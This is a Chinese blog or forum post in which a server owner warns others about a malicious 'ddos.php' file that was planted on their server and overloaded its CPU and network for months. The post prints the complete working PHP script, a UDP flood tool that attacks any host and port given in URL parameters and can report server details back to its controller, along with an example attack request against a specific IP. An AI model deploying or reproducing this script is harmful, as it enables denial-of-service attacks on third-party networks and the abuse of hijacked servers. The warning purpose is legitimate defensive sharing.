这个文件是在我的服务器上找到的,
害得我的服务器崩溃了几个月,主要表现为CPU 一直占用到100%,网络宽带一直保持最高,最后导致整个机房的网络都瘫痪了。
现在共享出来,希望大家能警惕
也可以通过http://www.choujone.com/blog/1326359469456 这个程序检查一下自己的服务器,是否存在某些关键词。
废话不多说,直接贴代码
文件名称ddos.php
<?php set_time_limit(984918); $host = $_GET['host'];//攻击对方ip $port = $_GET['port'];//攻击端口 $exec_time = $_GET['time'];//持续时长 $Sendlen = 65535; $packets = 0; ignore_user_abort(True); if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ if (StrLen($_GET['rat'])<>0){ echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; exit; } echo "Parameters can not be empty!"; exit; } for($i=0;$i<$Sendlen;$i++){ $out .= "A"; } $max_time = time()+$exec_time; while(1){ $packets++; if(time() > $max_time){ break; } $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "Send Host:$host:$port<br><br>"; echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>"; echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s"; ?>
顺便贴上请求方式/ddos.php?host=121.12.105.72&port=80&time=60
本代码仅供研究学习,请不要用于邪恶用途